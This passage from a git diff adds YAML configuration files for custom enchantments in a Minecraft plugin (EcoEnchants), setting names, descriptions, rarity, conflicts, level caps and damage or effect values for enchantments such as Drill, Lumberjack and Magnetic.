/dev/null +++ b/Plugin/src/main/resources/enchants/normal/collateral.yml @@ -0,0 +1,23 @@ +# +# Collateral EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Collateral" + +description: Arrows can go through entities. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + # No config is available for this enchantment diff --git a/Plugin/src/main/resources/enchants/normal/cranial.yml b/Plugin/src/main/resources/enchants/normal/cranial.yml new file mode 100644 index 00000000..d30581d1 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/cranial.yml @@ -0,0 +1,23 @@ +# +# Cranial EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Cranial" + +description: Increases damage on headshots. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + multiplier: 0.05 # Damage = level * multiplier + 1. Headshot with Cranial 5 = 5 * 0.05 + 1 = 1.25x damage \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/criticals.yml b/Plugin/src/main/resources/enchants/normal/criticals.yml new file mode 100644 index 00000000..182881dc --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/criticals.yml @@ -0,0 +1,23 @@ +# +# Criticals EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Criticals" + +description: Increases critical damage. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.15 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/deflection.yml b/Plugin/src/main/resources/enchants/normal/deflection.yml new file mode 100644 index 00000000..e8bf06a9 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/deflection.yml @@ -0,0 +1,23 @@ +# +# Deflection EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Deflection" + +description: Rebounds some incoming damage back to your attacker. + +obtaining: + table: true + villager: true + loot: true + rarity: uncommon + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + percent-deflected-per-level: 10 # Percent of damage to deal to attacker per level (can go above 100) \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/defusion.yml b/Plugin/src/main/resources/enchants/normal/defusion.yml new file mode 100644 index 00000000..eab53614 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/defusion.yml @@ -0,0 +1,29 @@ +# +# Defusion EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Defusion" + +description: Increases damage against creepers. + +obtaining: + table: true + villager: true + loot: true + rarity: common + +general-config: + grindstoneable: true + conflicts: + - sharpness + - bane_of_arthropods + - smite + - butchering + - razor + - ender_slayer + maximum-level: 5 + +config: + bonus-per-level: 2.5 # Damage to creepers = base damage + (level * bonus), eg Defusion 5 will do 12.5 more damage to creepers \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/dexterous.yml b/Plugin/src/main/resources/enchants/normal/dexterous.yml new file mode 100644 index 00000000..465690ab --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/dexterous.yml @@ -0,0 +1,23 @@ +# +# Dexterous EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Dexterous" + +description: Increases attack speed. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + add-speed-per-level: 0.2 #Bonus to attack speed, default 4.0 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/disappear.yml b/Plugin/src/main/resources/enchants/normal/disappear.yml new file mode 100644 index 00000000..dd3f4edf --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/disappear.yml @@ -0,0 +1,24 @@ +# +# Disappear EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Disappear" + +description: Go invisble if damaged on low health. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + ticks-per-level: 6 + threshold: 5 # If health is below threshold after being damaged, go invisble diff --git a/Plugin/src/main/resources/enchants/normal/diverse.yml b/Plugin/src/main/resources/enchants/normal/diverse.yml new file mode 100644 index 00000000..fb485ac1 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/diverse.yml @@ -0,0 +1,23 @@ +# +# Diverse EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Diverse" + +description: Increases damage dealt against players holding swords. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + per-level-multiplier: 0.05 # Multiplier per level for damage. Calculated as damage * (1 + level * multiplier) diff --git a/Plugin/src/main/resources/enchants/normal/drill.yml b/Plugin/src/main/resources/enchants/normal/drill.yml new file mode 100644 index 00000000..93fa73ba --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/drill.yml @@ -0,0 +1,30 @@ +# +# Drill EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Drill" + +description: Mines blocks behind other blocks. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: + - lumberjack + - blast_mining + - vein + maximum-level: 5 + +config: + blocks-per-level: 1 + disable-on-sneak: true + hardness-check: true # Only break blocks with hardness less than or equal to first block + blacklisted-blocks: + - bedrock \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/dullness.yml b/Plugin/src/main/resources/enchants/normal/dullness.yml new file mode 100644 index 00000000..faab2f4e --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/dullness.yml @@ -0,0 +1,25 @@ +# +# Dullness EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Dullness" + +description: Chance of giving your opponent weakness. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + allow-not-fully-charged: false #require sword attack to be at full charge + chance-per-level: 5 + duration-per-level: 30 # 20 ticks is one second \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/electroshock.yml b/Plugin/src/main/resources/enchants/normal/electroshock.yml new file mode 100644 index 00000000..72fee686 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/electroshock.yml @@ -0,0 +1,24 @@ +# +# Electroshock EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Electroshock" + +description: Chance to strike lightning on your attacker. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + chance-per-level: 5 + damage: 4 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/enderslayer.yml b/Plugin/src/main/resources/enchants/normal/enderslayer.yml new file mode 100644 index 00000000..ab694551 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/enderslayer.yml @@ -0,0 +1,29 @@ +# +# Ender Slayer EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Ender Slayer" + +description: Increases damage against end mobs. + +obtaining: + table: true + villager: true + loot: true + rarity: common + +general-config: + grindstoneable: true + conflicts: + - sharpness + - bane_of_arthropods + - smite + - defusion + - razor + - butchering + maximum-level: 5 + +config: + bonus-per-level: 2.5 # Damage to creepers = base damage + (level * bonus), eg Defusion 5 will do 12.5 more damage to creepers \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/evasion.yml b/Plugin/src/main/resources/enchants/normal/evasion.yml new file mode 100644 index 00000000..2f6af96c --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/evasion.yml @@ -0,0 +1,24 @@ +# +# Evasion EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Evasion" + +description: Chance to ignore incoming damage. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + # Each level of evasion on each piece of armor counts as a point, so if a player is wearing 4 pieces of armor all with Evasion 3, then that would be 12 points + chance-per-point: 0.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/extinguishing.yml b/Plugin/src/main/resources/enchants/normal/extinguishing.yml new file mode 100644 index 00000000..a0fe825e --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/extinguishing.yml @@ -0,0 +1,23 @@ +# +# Extinguishing EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Extinguishing" + +description: Chance to remove fire when taking fire damage. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + chance-per-point: 4 #Chance of being extinguished = Total points (12 points * 4 chance = 48% chance) \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/extract.yml b/Plugin/src/main/resources/enchants/normal/extract.yml new file mode 100644 index 00000000..fe025cb3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/extract.yml @@ -0,0 +1,23 @@ +# +# Extract EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Extract" + +description: Heals a portion of damage dealt. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.08 # Damage * Level * Multiplier is used to calculate how much health to heal diff --git a/Plugin/src/main/resources/enchants/normal/famine.yml b/Plugin/src/main/resources/enchants/normal/famine.yml new file mode 100644 index 00000000..1ac45068 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/famine.yml @@ -0,0 +1,24 @@ +# +# Famine EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Famine" + +description: Chance of giving your opponent hunger. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + allow-not-fully-charged: false #require sword attack to be at full charge + chance-per-level: 5 #chance of slowness per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/farmhand.yml b/Plugin/src/main/resources/enchants/normal/farmhand.yml new file mode 100644 index 00000000..7bb8ea8d --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/farmhand.yml @@ -0,0 +1,26 @@ +# +# Farmhand EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Farmhand" + +description: Till blocks around initial block. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + initial-radius: 1 + per-level-radius: 1 + use-cube: true #If set to false, then it will use a square, and so will not go up/down edges + per-block-damage: true #If set to false, then it will only take 1 durability \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/finishing.yml b/Plugin/src/main/resources/enchants/normal/finishing.yml new file mode 100644 index 00000000..a01a6331 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/finishing.yml @@ -0,0 +1,23 @@ +# +# Finishing EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Finishing" + +description: Instantly kill entities on low health. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + minimum-health-per-level: 1 # Multiplied by level, eg: if 1, then Finishing 5 kills any mobs below 2.5 hearts \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/fireaffinity.yml b/Plugin/src/main/resources/enchants/normal/fireaffinity.yml new file mode 100644 index 00000000..3ca3b68e --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/fireaffinity.yml @@ -0,0 +1,24 @@ +# +# Fire Affinity EcoEnchant +# + +config-version: 4.01 # Don't edit this. + +name: "Fire Affinity" + +description: Increases damage dealt when on fire. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - water_affinity + maximum-level: 5 + +config: + percent-more-per-level: 5 # percent more damage to deal per level when on fire diff --git a/Plugin/src/main/resources/enchants/normal/firststrike.yml b/Plugin/src/main/resources/enchants/normal/firststrike.yml new file mode 100644 index 00000000..7606fa88 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/firststrike.yml @@ -0,0 +1,23 @@ +# +# First Strike EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "First Strike" + +description: Increases damage dealt when entity is on max health. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + damage-multiplier-per-level: 0.2 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/flinch.yml b/Plugin/src/main/resources/enchants/normal/flinch.yml new file mode 100644 index 00000000..eec24d1a --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/flinch.yml @@ -0,0 +1,24 @@ +# +# Flinch EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Flinch" + +description: Chance to blind your attacker. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + chance-per-level: 10 + ticks-per-level: 10 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/forcefield.yml b/Plugin/src/main/resources/enchants/normal/forcefield.yml new file mode 100644 index 00000000..04bc560d --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/forcefield.yml @@ -0,0 +1,26 @@ +# +# Forcefield EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Forcefield" + +description: Damages all nearby monsters. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + initial-distance: 1.5 # Initial range + bonus-per-level: 0.3 # Bonus range per level (Level 1 also includes bonus) + damage-per-level: 0.5 + repeat-ticks: 20 # Damage nearby mobs every few ticks. Lower values lead to more damage and may cause lag \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/freerunner.yml b/Plugin/src/main/resources/enchants/normal/freerunner.yml new file mode 100644 index 00000000..02a60163 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/freerunner.yml @@ -0,0 +1,23 @@ +# +# Freerunner EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Freerunner" + +description: Chance to ignore fall damage. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + chance-per-level: 20 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/frozen.yml b/Plugin/src/main/resources/enchants/normal/frozen.yml new file mode 100644 index 00000000..b2722575 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/frozen.yml @@ -0,0 +1,24 @@ +# +# Frozen EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Frozen" + +description: Chance to give your attacker slowness. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + chance-per-point: 5 + points-per-level: 4 # Points of frozen required to increment slowness level by 1 diff --git a/Plugin/src/main/resources/enchants/normal/fury.yml b/Plugin/src/main/resources/enchants/normal/fury.yml new file mode 100644 index 00000000..ec99fc88 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/fury.yml @@ -0,0 +1,25 @@ +# +# Fury EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Fury" + +description: Chance of angering nearby monsters towards your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + allow-not-fully-charged: false #require sword attack to be at full charge + chance-per-level: 5 + distance-per-level: 4 # Distance for mobs to check \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/goliath.yml b/Plugin/src/main/resources/enchants/normal/goliath.yml new file mode 100644 index 00000000..3eecdd65 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/goliath.yml @@ -0,0 +1,23 @@ +# +# Goliath EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Goliath" + +description: Increases damage against entities with more health than you. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + damage-multiplier-per-level: 0.02 # If enemy has 200 health, and you have 20 w/ goliath 5 then your damage is multiplied by: ((200/10)*5*0.02) + 1 = 3 diff --git a/Plugin/src/main/resources/enchants/normal/grapple.yml b/Plugin/src/main/resources/enchants/normal/grapple.yml new file mode 100644 index 00000000..61c91efb --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/grapple.yml @@ -0,0 +1,26 @@ +# +# Grapple EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Grapple" + +description: Pulls entities towards you. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - knockback + - tornado + - annihilate + maximum-level: 2 + +config: + velocity-multiplier: 1.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/greenthumb.yml b/Plugin/src/main/resources/enchants/normal/greenthumb.yml new file mode 100644 index 00000000..a813fd1d --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/greenthumb.yml @@ -0,0 +1,22 @@ +# +# Green Thumb EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Green Thumb" + +description: Left clicking dirt turns it to grass. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + +config: + damage: true # Damage hoe on use \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/grit.yml b/Plugin/src/main/resources/enchants/normal/grit.yml new file mode 100644 index 00000000..9ea68c88 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/grit.yml @@ -0,0 +1,23 @@ +# +# Grit EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Grit" + +description: Damages your opponents weapon. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-per-level: 0.3 # Damage * points (0.3 * 12 points = 3.6) Rounded up. diff --git a/Plugin/src/main/resources/enchants/normal/hook.yml b/Plugin/src/main/resources/enchants/normal/hook.yml new file mode 100644 index 00000000..93aec6a3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/hook.yml @@ -0,0 +1,24 @@ +# +# Hook EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Hook" + +description: Pulls entities towards you. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - punch + maximum-level: 2 + +config: + velocity-multiplier: 1.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/horde.yml b/Plugin/src/main/resources/enchants/normal/horde.yml new file mode 100644 index 00000000..ebca4971 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/horde.yml @@ -0,0 +1,24 @@ +# +# Horde EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Horde" + +description: Increases damage dealt the more mobs are nearby. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + multiplier-per-level: 0.01 # Multiplier per mob per level (ie 10 mobs at level 4 will be 1.4x more powerful) + distance-per-level: 2.5 diff --git a/Plugin/src/main/resources/enchants/normal/iceshot.yml b/Plugin/src/main/resources/enchants/normal/iceshot.yml new file mode 100644 index 00000000..3a8de456 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/iceshot.yml @@ -0,0 +1,23 @@ +# +# Ice Shot EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Ice Shot" + +description: Chance of freezing your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + chance-per-level: 5 #chance of slowness per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/ignite.yml b/Plugin/src/main/resources/enchants/normal/ignite.yml new file mode 100644 index 00000000..507c1521 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/ignite.yml @@ -0,0 +1,23 @@ +# +# Ignite EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Ignite" + +description: Chance to light hit block on fire. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + chance-per-level: 20 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/illusionaspect.yml b/Plugin/src/main/resources/enchants/normal/illusionaspect.yml new file mode 100644 index 00000000..52107d59 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/illusionaspect.yml @@ -0,0 +1,24 @@ +# +# Illusion Aspect EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Illusion Aspect" + +description: Chance to blind and nauseate opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + chance-per-level: 5 #chance of illusioning opponent per level + allow-not-fully-charged: false #dont require sword attack to be at full charge \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/incandescence.yml b/Plugin/src/main/resources/enchants/normal/incandescence.yml new file mode 100644 index 00000000..bb8864af --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/incandescence.yml @@ -0,0 +1,24 @@ +# +# Incandescence EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Incandescence" + +description: Chance to light your attacker on fire. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + initial-ticks: 20 + ticks-per-point: 2 # Ticks victim will be alight for multiplied by each enchantment point, eg: All armor with incandescence 3 = 4*3 = 12 points. diff --git a/Plugin/src/main/resources/enchants/normal/infernaltouch.yml b/Plugin/src/main/resources/enchants/normal/infernaltouch.yml new file mode 100644 index 00000000..512114d5 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/infernaltouch.yml @@ -0,0 +1,24 @@ +# +# Infernal Touch EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Infernal Touch" + +description: Automatically smelt mined blocks. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: + - silk_touch + - stone_switcher + +config: + smelt-cobblestone: true #Smelt cobblestone into stone \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/inferno.yml b/Plugin/src/main/resources/enchants/normal/inferno.yml new file mode 100644 index 00000000..cd651033 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/inferno.yml @@ -0,0 +1,22 @@ +# +# Infernal EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Inferno" + +description: Flaming tridents. + +obtaining: + table: true + villager: true + loot: true + rarity: uncommon + +general-config: + grindstoneable: true + conflicts: [] + +config: + # No config available for this enchantment \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/instantaneous.yml b/Plugin/src/main/resources/enchants/normal/instantaneous.yml new file mode 100644 index 00000000..4d0aa1fd --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/instantaneous.yml @@ -0,0 +1,23 @@ +# +# Instantaneous EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Instantaneous" + +description: Chance of instantly breaking blocks. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + chance-per-level: 5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/invigoration.yml b/Plugin/src/main/resources/enchants/normal/invigoration.yml new file mode 100644 index 00000000..ea25a45b --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/invigoration.yml @@ -0,0 +1,26 @@ +# +# Invigoration EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Invigoration" + +description: Increases outgoing damage and reduces incoming damage when low on health. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + # Each level of invigoration on each piece of armor counts as a point, so if a player is wearing 4 pieces of armor all with Invigoration 3, then that would be 12 points + reduction-multiplier: 5 # In percent, so default is take 5% less damage per point + damage-multiplier: 5 # In percent, so default is deal 5% more damage per point + below-health: 5 # Activates below specified health \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/kinetic.yml b/Plugin/src/main/resources/enchants/normal/kinetic.yml new file mode 100644 index 00000000..e20ffed3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/kinetic.yml @@ -0,0 +1,23 @@ +# +# Kinetic EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Kinetic" + +description: Reduces damage taken when flying into a wall. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + reduction-per-level: 20 #Percent less damage taken per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/launch.yml b/Plugin/src/main/resources/enchants/normal/launch.yml new file mode 100644 index 00000000..7f2fd54c --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/launch.yml @@ -0,0 +1,23 @@ +# +# Launch EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Launch" + +description: Fireworks give a short burst of extreme speed. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + multiplier: 0.4 # Velocity multiplier per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/leeching.yml b/Plugin/src/main/resources/enchants/normal/leeching.yml new file mode 100644 index 00000000..9a8e53ee --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/leeching.yml @@ -0,0 +1,24 @@ +# +# Leeching EcoEnchant +# + +config-version: 4.01 # Don't edit this. + +name: "Leeching" + +description: Heals a portion of damage dealt. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - life_steal + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.04 # Damage * Level * Multiplier is used to calculate how much health to heal diff --git a/Plugin/src/main/resources/enchants/normal/levitate.yml b/Plugin/src/main/resources/enchants/normal/levitate.yml new file mode 100644 index 00000000..570af0e9 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/levitate.yml @@ -0,0 +1,24 @@ +# +# Levitate EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Levitate" + +description: Chance of applying levitation to your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + chance-per-level: 3 #chance of levitation per level + duration-per-level: 30 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/liquidshot.yml b/Plugin/src/main/resources/enchants/normal/liquidshot.yml new file mode 100644 index 00000000..757cd347 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/liquidshot.yml @@ -0,0 +1,23 @@ +# +# Liquid Shot EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Liquid Shot" + +description: Increases damage against fiery mobs. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + multiplier: 0.2 # Damage = level * multiplier + 1. Damage on blaze/magma cube with Liquid Shot 5 = 5 * 0.2 + 1 = 2x damage \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/lumberjack.yml b/Plugin/src/main/resources/enchants/normal/lumberjack.yml new file mode 100644 index 00000000..720d2974 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/lumberjack.yml @@ -0,0 +1,40 @@ +# +# Lumberjack EcoEnchant +# + +config-version: 4.01 # Don't edit this. + +name: "Lumberjack" + +description: Instantly cut down entire trees. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + maximum-level: 5 + conflicts: + - drill + +config: + disable-on-sneak: true + blocks-per-level: 64 + whitelisted-blocks: + - oak_wood + - dark_oak_wood + - acacia_wood + - jungle_wood + - birch_wood + - crimson_stem + - spruce_wood + - warped_stem + - oak_log + - dark_oak_log + - acacia_log + - jungle_log + - birch_log + - spruce_log \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/magmawalker.yml b/Plugin/src/main/resources/enchants/normal/magmawalker.yml new file mode 100644 index 00000000..5b667afa --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/magmawalker.yml @@ -0,0 +1,25 @@ +# +# Magma Walker EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Magma Walker" + +description: Turns lava beneath the player into obsidian. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + remove-after-ticks: 40 + initial-radius: 2 + per-level-radius: 1 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/magnetic.yml b/Plugin/src/main/resources/enchants/normal/magnetic.yml new file mode 100644 index 00000000..108e3cea --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/magnetic.yml @@ -0,0 +1,25 @@ +# +# Magnetic EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Magnetic" + +description: Items and XP go towards you. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + initial-distance: 2.5 # Initial item pickup range + bonus-per-level: 0.6 # Bonus range per level (Level 1 also includes bonus) + repeat-ticks: 3 # Check magnetic every few ticks. Lower values give smoother animations and feels better to the end user, however may cause lag on lower-end hardware. \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/marksman.yml b/Plugin/src/main/resources/enchants/normal/marksman.yml new file mode 100644 index 00000000..635166f0 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/marksman.yml @@ -0,0 +1,22 @@ +# +# Marksman EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Marksman" + +description: Removes 